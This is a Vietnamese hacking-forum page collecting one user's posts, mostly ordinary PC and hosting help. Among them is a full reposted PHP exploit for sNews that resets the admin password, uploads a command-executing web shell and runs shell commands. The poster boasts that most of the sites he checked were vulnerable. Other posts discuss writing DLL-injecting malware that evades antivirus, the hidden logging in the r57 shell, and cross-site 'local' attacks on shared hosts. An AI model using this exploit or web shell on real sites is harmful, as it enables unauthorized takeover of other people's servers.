Messages posted by: hieuhoc

Chết chết tình hình này bác phải đính chính sao chứ không ổn rồi nha smilie

)

)
http://kmasecurity.net/xforce/showthread.php?p=3083
smilie

)

)
Nghĩ đi nghĩ lại thấy chương trình này của L0ng3ta "ý tưởng" cũng hay phết ,vì đa số list file ổ C nào cũng giông giống nhau cả :lol smilie

:lol

==>chương trình list file này chắc cũng phải 90% giông giống máy victim. :wink: ,nói như L0ng3ta 100% thì hơi lăng xê quá smilie

)

Lâu lâu có topic vui nhỉ smilie

)

)
Cũng may là không có dòng format hay del gì đó :lol smilie

:lol

,nếu có chắc thành công ngoài mong đợi smilie

thangdiablo wrote:

To : Levuhoang
Tôi đã chọn macro là low rồi nhưng tình trạng vẫn bị.
Nghĩa là nó chỉ bị 1 tình trạng duy nhất là save as và open foder rất chậm.

To tmd : Hiện tại tình trạng này đang xảy ra trên 2 máy của kế toán.
Để tớ thử kiềm tra lại xem.

Thank

Cơ quan mình một vài máy cũng bị thế sau một thời gian sử dụng cũng chưa tìm được nguyên nhân. smilie

(
Mình nghĩ chắc do vấn đề về license thì phải smilie

.

Lạ vậy

,bồ click phải vào file cần xóa nó có dòng "delete file on the next boot" như hình dưới không?

bạn đã bào giờ thử chưa?

Mình đang dùng nên mới giới thiệu cho bạn mà.

Ghost Ship wrote:

Khi mình chọn file này và chọn delete (có 3 lựa chọn) và ấn next thì nó báo:"Access is dinied" và nút next mờ đi chỉ có nút cancel và back là ấn được thôi. Mình đã thử xóa các file khác và thấy nếu xóa được thì nó có nút finish. Từ hôm qua đến hôm nay mình tắt bật máy mấy lần rồi )

:cry: Chắc bồ làm sai chỗ nào rồi chứ phần mềm này nó đâu có xóa file liền đâu mà access denied trời :?)

conmale wrote:

Hôm bữa rảnh một tí, tớ thử phân tích "con" r57 thì thấy có nhiều chi tiết lý thú. Tay Russian nào viết con này rất lém. Những kiddie nào dùng script đó để exploit thành công thì stats sẽ được log đến 1 server (khác). Chính người làm chủ stats server kia sẽ nắm trong tay chính xác bao nhiêu sites bị "con" r57 làm thịt và chính xác site nào luôn.

E rằng các kiddie dùng mấy con script này không biết mấy cái chi tiết đó và đang đi làm... không công cho ai đó . Những server bị nhân nhượng có thể bị biến thành zombies --> hậu hoạn khó lường.

Tip: soi các block base64 để biết chi tiết.

Có 1 số "script kiddies" khác lại thay cái base64 đó ghi log vào host của mình nữa ==> "script kiddies" cũng lém lắm đó anh smilie

Ghost Ship wrote:

hieuhoc wrote:

Bạn vào đây download cái này về rồi dùng thử xem,mình nghĩ sẽ xóa được :
http://www.softpedia.com/progDownload/MoveOnBoot-Download-1398.html

cái này cũng kô delete được bạn ạ

Bạn làm như nào mà xóa không được ta smilie

,bạn có khởi động lại khi chọn xóa file đó chưa ,phần mềm này có thể xóa bất kì file nào kể cả file hệ thống nhưng khi chọn xóa xong bạn phải khởi động lại àh,giống như cái tên của nó Move on boot.

nil wrote:

danhlove wrote:

Ai cũng biết đây là file chứa email của host , khi quên pass thì server có chức năng gửi pass về mail này , cũng chính lợi dụng điểm yếu này nên một số hacker đã tìm cách up shell lên site và edit địa chỉ email trong file này rồi dùng chức năng forget pass để chiếm luôn host. Bác nào ở đây có cách để không thể edit file này thì giúp dùm em , em cảm ơn .

Để ko ai khác ngoài bạn có thể edit được file này thì bạn phân quyền file đó cho hợp lý, ví dụ trên Linux có thể chmod nó về 750, đừng bao giờ để 777 vì khi đó bất kỳ ai cũng có thể edit được.

Chmod thế nào cũng chết, nếu attacker có quyền owner hoặc root .

luckylac wrote:

run okie trên winxp sp2, vista, bitdefender, avast, karpersky,bkav.....
bạn yên tâm...đã test... chưa lây
mình đang thực hiện bước tiếp theo để mở socket.....
đag thi cử mệt quá.... he` sẽ hoàn thiện ....
đag có 2 hướng để phát triển con này :
1 là nghiên cứu về cách thực thi của reg api function, để tránh bị hook
2 là tinh chế birnary code dll
tài liệu, source đã có.. ko biết có thành công hay ko... xog mình sẽ mang cho bác Hoàg test...

a`h wen... khoe với mọi người là con của mình nó chạy trc khi explorer hay 1 chtr nào trong list autorun dc chạy... nên có thể cấm các chtr diệt virus chạy ... chứ chưa nói đến là kill bọn đó....

Vậy Bạn có thể cho mình mẫu thử trên máy mình thử xem chứ nghe nói thì không tin lắm .

luckylac wrote:

mình mới viết 1 con tương tự như thế ... nên xin hiến 1 số kế cho cách diệt loại virus này.
COn này chính xác là nó inject dll vào shell . shell ở đây là explorer.exe
Windows shell cho phép chèn 1 đoạn code trong dll vào tiến trình explorer bằng 1 hàm trong shellapi (mình ko muốn nói rõ về hàm này... bạn nào muốn viết vì trao đổi với mình).

Dùng các chương trình chặn ghi vào registry bạn có thể biết dc vị trí con dll này... có thể là cùg 1 lúc nhiều dll....
TUy nhiên bạn ko thể delete nó dc vì nó đag đc xài bởi explorer.exe.. muốn diệt nó bạn làm 2 bước sau :
- Đảm bảo ko có tiến trình lạ nào đag chạy có thể là phương án 2 của nó.
- Kill explorer.exe => dll sẽ unload
->>> delete file dll nghi ngờ....
PHẢI ĐẢM BẢO LÀ KO CÒN CON .EXE NÀO CÓ THỂ TẠO MỚI DLL VÀ NHÚG LẠI VÀO EXPLORER.EXE

Sau đó hãy lần theo các khóa nguy hiểm trong registry để xóa nhữg con dạng .exe (các khóa mà chtr dc chay khi khởi động)

* chú ý:
1. Khi bị dính loại này , mã độc dc chạy ngay trên tiến trình explorer. Do đó rất nguy hiểm , bởi ko thể nghi ngờ explorer dc..
2.Kể cả trong safe mode explorer vẫn có thể bị inject dll cho dù bạn gọi nó từ taskmanager chứ ko phải winlogon. (còn của mình là vậy... còn ở đây ko biết thế nào)
3. Đối với loại virus inject dll này bạn nên chú ý nếu như thấy 1 tiến trình đag chạy là rundll32.exe rundll32.exe là 1 chtr hợp pháp của win nó dùng để chạy 1 hàm trong dll dc chỉ định... và rất có thể nó đag run mã độc..(nên cẩn thận bởi cpl của control panel cũng là dll, khi bạn mở 1 applet control panel thì nó dc run bởi rundll32.exe).

Mình đang phát triển con này.. và thấy rằng hoàn toàn có thể đăng ký 1 applet control panel để người dùng tự kích hoạt...
4. Khi kiểm tra các khóa registry .. đặc biệt cẩn thận với các khóa có chứa shell/command.... giá trị của nó có thể là 1 câu lệnh thực thi kích hoạt lại virus.

Khuyến cáo cho các chtr diệt virus.... : Hầu hết chtr diệt virus chặn việc ghi vào registry.. chưa có cơ chế chặn inject dll...
Do đó 1 giải pháp hữu hiệu cho mấy bác bkav là : HOOK API, còn API nào thì các bác tự tìm hiểu...

Bạn nói về inject dll vào shell nhưng sao không thấy nói đến DEP(Data Execution Prevention) của XP sp 2 vậy,con virus của bạn viết có thể bypass DEP luôn àh?

Một thông báo rất quen thuộc phải kô các bác Các bác giúp em với, cứ bị nó trêu ngươi em khó chịu quá.

Bạn vào đây download cái này về rồi dùng thử xem,mình nghĩ sẽ xóa được :
http://www.softpedia.com/progDownload/MoveOnBoot-Download-1398.html

Bạn thử change port lúc vào config modem thử xem (ex:10.0.0.2:8080) ,vì modem cũng dùng port 80 và webserver cũng dùng port 80 có thể nguyên nhân ở đây.

MicrosoftX wrote:

Chúng ta bỏ phiếu để Mod ban bác này đi gửi bài vô tội vạ quá đi mất ... Bác cần viết tùy cái thôi chứ ... đây đâu có là box chat chit và chỗ cho bác quảng cáo thế nhỉ ; Tôi đã là người hay chat rồi bác này còn kinh khủng hơn mà toàn chuyện ... hừ.

Bỏ phiếu đê.

Cái gì mà bỏ phiếu trời, smilie

người ta share web hay thôi mà. :?)

Không biết mình có bị giống tình trạng của bạn không ?Nhưng đúng như bạn nói windowXP SP1 cài mới hoàn toàn mình không cài thêm bất kì 1 chương trình nào khác ,đĩa cài WindowXP sp1 trước giờ vẫn sài nhưng khi cài xong cho kết nối internet (chỉ kết nối để đó không truy cập bất cứ trang web nào) thì 5 phút sau một đống spyware nhảy vào ==> theo mình nghĩ winxp sp1 có lỗi bảo mật gì đó vì thế chỉ còn cách là bạn cài Winxp SP2 thôi nhưng theo như bạn nói bạn không cài được SP2 thì mình cũng chịu .

Code:

<?php
print_r('
---------------------------------------------------------------------------
sNews <= 1.5.30 unauthorized access / reset admin pass / cmd exec exploit
by rgod
dork: "Barbecued by sNews"
mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
');
/*
works regardless of php.ini settings
*/
if ($argc<5) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path your_ip cmd [options]
host: target server (ip/hostname)
path: path to sNews
your_ip: your ip address, this is needed for upload
this is automatically set to your proxy ip, if you use one
cmd: a shell comand
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /snews/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost / cat snews.php -p81
---------------------------------------------------------------------------
');
die;
}
error_reporting("E_ALL");
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$your_ip=$argv[3];
$port=80;
$proxy="";
$cmd="";
for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
$tmp=explode(":",$proxy);
$your_ip=$tmp[0];
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
/*
software site: http://www.solucija.com/home/snews/
you can have unauthorized access to admin password reset feature and other ones,
after that you can upload a php file and launch commands
see snews.php near lines 392-395:
...
function center() {
if (isset($_GET['category'])) {$id = $action = $_GET['category'];}
if (isset($_GET['articleid'])) {$articleid = $_GET['articleid'];}
if (isset($_POST['submit_text'])) {processing(); $processed = true;}
...
now look at processing() function near line 1300:
...
function processing() {
if ($_SESSION[db('website').'Logged_In'] != 'True') {notification(l('error_not_logged_in'),'','login/');}
...
and to notification() one near lines 675-680:
...
function notification($error, $errNote, $link) {
$errNote = !empty($errNote) ? '<br />'.$errNote : '';
echo '<h2'.(!empty($error) ? ' class="error">'.l('admin_error').'</h2><p>'.$error.$errNote.'</p>' : '>'.l('operation_completed').'</h2>');
echo (!empty($link)) ? '<p><a href="'.db('website').$link.'" title="'.l('back').'">'.l('back').'</a></p>' : '';
}
...
funny! there is no exit() or die()...
this one reset the admin password and try to upload a php file
*/
$data='-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="submit_text";
1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="task";
changeup
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="submit_pass";
1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="uname";
suntzu
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="pass1";
suntzu
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="pass2";
suntzu
-----------------------------7d61bcd1f033e--
';
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
$data ="uname=suntzu";
$data.="&pass=suntzu";
$data.="&Loginform=True";
$data.="&submit=Login";
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (!eregi("Admin</legend>",$html)){die("exploit failed...");}
$cookie="";
$temp=explode("Set-Cookie: ",$html);
for ($i=1; $i<count($temp);$i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=trim(str_replace("\n","",str_replace("\r","",$temp2[0])));
}
//echo "cookie -> ".$cookie."\n";
$data='-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="upload_dir";
.
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="imagefile"; filename="config.php"
Content-Type: image/jpeg;
<?php error_reporting(0); set_time_limit(0); echo "my_delim"; passthru($_SERVER["HTTP_SUNTZU"]); echo "my_delim";?>
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="ip";
'.$your_ip.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="time";
1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="upload";
Upload
-----------------------------7d61bcd1f033e--
';
$packet ="POST ".$p."files/ HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
$packet ="GET ".$p."config.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="SUNTZU: ".$cmd."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("my_delim",$html))
{
$temp=explode("my_delim",$html);
echo $temp[1];
}
else
{
echo "exploit succeeded... but, for some reason, failed to upload shell, try to login manually with user 'suntzu' & password 'suntzu'";
}
?>
# milw0rm.com [2007-01-12]

cái này vui ghê.
user: suntzu
pass: suntzu

hè không ngờ cái này nhiều site sử dụng thiệt ,check 8 site hết 6 site dính .

vậy là số mới nữa àh? Mình đang sài VNPT nhưng là 8/35 nên thấy lạ.

@binhloveska :bạn sài ADSL của ISP nào mà mình thấy số vpi/vci lạ thế ?

khuyenn wrote:

mấy cao thủ về backup dữ liệu cho đệ hỏi 1 tí

hiện mình đang có 1 cái forum IPB 2.1 được đặt tại sieuhost.com (linux HDD 1GB ,Bandwith 40 GB) do việc bảo mật và dịch vu ở đây không được như ý nên mình đã mua 1 cái host mới tại pavietnam.net (linux 1Gb ) và mình muốn backup chuyển toàn bộ forum từ sieuhost ve pavietnam. nói thẳng ra là chuyển giữ liệu forum từ host này sang host khác (và cách cài đặt cho forum hoạt đông bình thường)

You export ra rồi dùng bigdump import vào thế là xong .(dùng google để tải bigdump về sài hay phết )

pthanhkim wrote:

Đã 3 ngày trôi qua, không thấy ai trả lời hết hic hic, các cao thủ HVA đâu hết rùi xin trợ giúp muội muội nào hic hic. Lẽ ra theo nguyên tắc hoạt động thì phải so sánh 2 chuỗi, nếu chuỗi = key thì sẽ kích hoạt chế độ full version, nhưng đằng này không hiểu Arcadetown đã làm thế nào mà Kim debug vẫn không ra được chuỗi chứa key hix hix. Mong các bạn trợ giúp. (

nói chung mình không chuyên crack nhưng có một thời gian mất ngủ vì cái này nhưng giờ bỏ rồi nhưng khi crack thì không phải cái nào cũng giống cái nào có khi nó đánh lừa tùm lum hết :lol smilie

,bà "cô" (không biết có phải cô không nữa smilie

) thử qua REA hỏi thử bên đó chuyên về crack smilie

.

P/S: Anh/chú comale cho thêm mấy cái emoticons "trang trọng" chút chứ em thấy mấy cái emoticons hiện nay thấy "đểu đểu" thế nào ấy ,sorry cái này là em/cháu nói thật đừng "chít" em/cháu smilie

-))

dinhcaohack wrote:

Tôi nghĩ nếu có cgi-telnet bên bluehost thì tôi có thể local được

you chắc chắn 100% ? quăng YIM của you qua tin nhắn riêng ,mình pm pác con shell làm demo mình xem cái smilie

.Mà có phải là dinhcaohack ở Vniss không thế?

Mr.Vampire wrote:

Tạm thời anh chưa cập nhật lại được, bởi vì gặp 1 số trục trặc nho nhỏ từ phía bọn bán host, sau khi hoàn tất thì anh sẻ up lại

vậy em đành chờ vậy ,ai có down trước rồi thì up lên mình down với.

Mr.Vampire wrote:

Demo http://dongsongmuathu.net/nhac
Link download: http://dongsongmuathu.net/vn.zip
Cài đặt: download về xong,
Mở cái files m2.sql ra coi

phpMyAdmin SQL Dump
-- version 2.6.4-pl4
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Generation Time: Nov 04, 2006 at 03:27 PM
-- Server version: 5.0.16
-- PHP Version: 5.1.1
--
-- Database: `vn-truck_dsmusic`

chú ý cái dòng databse, thay nó bằng database của bạn, sau đó import cái files sql vào phpmyadmin của bạn, sau đó mở files config.php chỉnh sửa lại thông tin cho đúng

em đang cần làm trang web nhạc nhưng link trên die rồi anh Vampire up lại dùm tks.

Headboynt wrote:

cái này cũng khó khẳng định, quangtruong chưa làm đc, nhưng có nhiều người có kinh nghiệm hơn có thể làm đc khi mà safe_mode = on

đã nói không bàn đến safemode on/off mà lại(cái này có thể chỉnh được ) smilie

,sao không có pro nào lên tiếng hết vậy smilie

-))

Kaiser wrote:

Chuyện tháo máy vệ sinh thì tôi làm quá nhiều rồi. Vì máy chạy nóng nên tôi thường mở 1 bên nắp máy . Bụi nhiều nên vệ sinh liên tục. Mà có nhiều lần tháo ra chơi. Tháo rời từng thứ ra. lắp lại cẩn thận. Không có gì thay đổi cả.
thanks vì đã trả lời

bạn thử kiểm tra kĩ coi tụ trên mainboard có bị phù không ?

phamquoc_truong wrote:

hic . . . trên bluehost thì đúng là vậy mà . . . vì php.ini do mình quản lý nên dù bật safe_mode đi chăng nữa thì cũng chỉ cấm local từ trong host mình còn host khác nó cứ tưng tửng nó chiến !

Thế bạn khẳng định bạn có thể local bluehost àh ? không nói đến safemode làm gì.

Bigball_hacker wrote:

Thường thì nếu safe_mode = on thì không local đc. Nhưng có lần thử với dienanh.net thì 1 con shell trong host của nó và 1 con shell để local qua. Con trên host nó không vào đc nhưng con kia local qua thì vào đc. Không hiểu tại sao. ???

cái này thì mình từng gặp có thể do srv nó config safemode theo từng site chứ không config chung cho tất cả.
Nhưng vấn đề ở đây đang nói đến là bluehost có local được không vì em nghe nói là có thể nhưng chưa thấy ai xác nhận,chứ safemode thì vẫn có cách bypass.

ghi như pác GA thì nghĩa là thế nào chỉnh những cái đó là có thể local đc àh ?
pác nói rõ hơn được không?

Anh Luke có thể cho hướng đi được không ạh?

Anh thử dùng mysqldumper anh search trên google nhé,em dùng thấy nó back up ngon lắm với db có dung lượng lớn.Còn cách sử dụng thì anh down về nó có file install.txt anh làm theo y chang là được .chúc thành công smilie